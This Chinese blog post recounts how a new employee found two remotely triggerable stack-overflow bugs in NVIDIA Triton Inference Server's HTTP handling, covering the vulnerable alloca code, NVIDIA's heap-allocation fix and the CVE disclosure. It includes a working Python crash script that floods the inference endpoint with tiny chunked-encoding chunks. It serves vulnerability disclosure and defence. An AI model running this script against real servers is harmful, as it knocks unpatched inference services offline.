揭秘NVIDIA Triton内存损坏漏洞(新员工视角)

本文详细记录了作者作为Trail of Bits新员工,在入职培训期间通过静态分析工具Semgrep发现NVIDIA Triton推理服务器中两处远程可利用内存损坏漏洞的全过程,包括漏洞原理分析、利用链构建、PoC开发以及厂商修复方案。

从Semgrep开始

NVIDIA Triton推理服务器作为广泛部署的机器学习推理平台,自然成为安全分析的首选目标。作者采用标准静态分析工具对代码库进行扫描,重点关注Semgrep检测结果。其中0xdea规则集检测到http_server.ccsagemaker_server.cc中多处不安全的alloca函数使用,该函数会根据运行时参数在栈上分配内存,当参数不可信时可能导致栈溢出和内存损坏。

栈分配与HTTP分块传输编码

Semgrep规则识别出Triton HTTP处理逻辑中的重复漏洞模式:

1
2
3
4
5
6
7
// 来自http_server.cc
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
  v = static_cast<struct evbuffer_iovec*>(
      alloca(sizeof(struct evbuffer_iovec) * n));
  // ... 使用v进行HTTP请求处理
}

该代码通过evbuffer_peek获取HTTP请求缓冲区段数,然后使用alloca在栈上分配evbuffer_iovec结构数组。分配大小为sizeof(struct evbuffer_iovec) * n,其中n由HTTP请求结构控制。

作者发现HTTP分块传输编码可被攻击者利用:通过发送数千个微小HTTP分块,可影响libevent将请求数据分割成多个小段,从而增大evbuffer_peek返回的n值,最终导致栈溢出崩溃。每个6字节的分块需要16字节的分配空间,形成放大效应。

从漏洞点到攻击链

该不安全alloca模式出现在Triton多个关键HTTP API端点:

  • 仓库索引请求(/v2/repository/index)
  • 推理请求
  • 模型加载/卸载请求
  • 跟踪设置更新
  • 共享内存注册等

作者开发了可靠的PoC崩溃脚本,通过向推理端点发送特定数量的分块数据触发服务崩溃。在默认配置下,仅需3MB的HTTP请求即可成功使服务器段错误。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import socket
import sys

def exploit_inference_endpoint(host="localhost", port=8000, n=523800):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))
        request_headers = (
            f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Content-Type: application/octet-stream\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"\r\n"
        )
        s.sendall(request_headers.encode())
        for _ in range(n):
            s.send(b"1\r\nA\r\n")  # 微小分块
        s.sendall(b"0\r\n\r\n")
    finally:
        s.close()

补丁与披露流程

NVIDIA通过以下修复方案成功解决了根本问题,将不安全的栈分配替换为堆分配,并添加内存分配失败的安全处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
std::vector<struct evbuffer_iovec> v_vec;
try {
  v_vec = std::vector<struct evbuffer_iovec>(n);
}
catch (const std::bad_alloc& e) {
  return TRITONSERVER_ErrorNew(
      TRITONSERVER_ERROR_INVALID_ARG,
      (std::string("Memory allocation failed for evbuffer: ") + e.what())
          .c_str());
}
v = v_vec.data();

这两个漏洞影响Triton Inference Server至25.06版本,获得CVE-2025-23310和CVE-2025-23311编号(CVSS 9.8),已在2025年8月4日的25.07版本中修复。

从入职培训到CVE

通过这次实践,作者证明了即使在成熟框架中,性能关键代码仍可能引入微妙的内存安全问题。NVIDIA安全团队的专业处理展现了其对用户安全的承诺。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计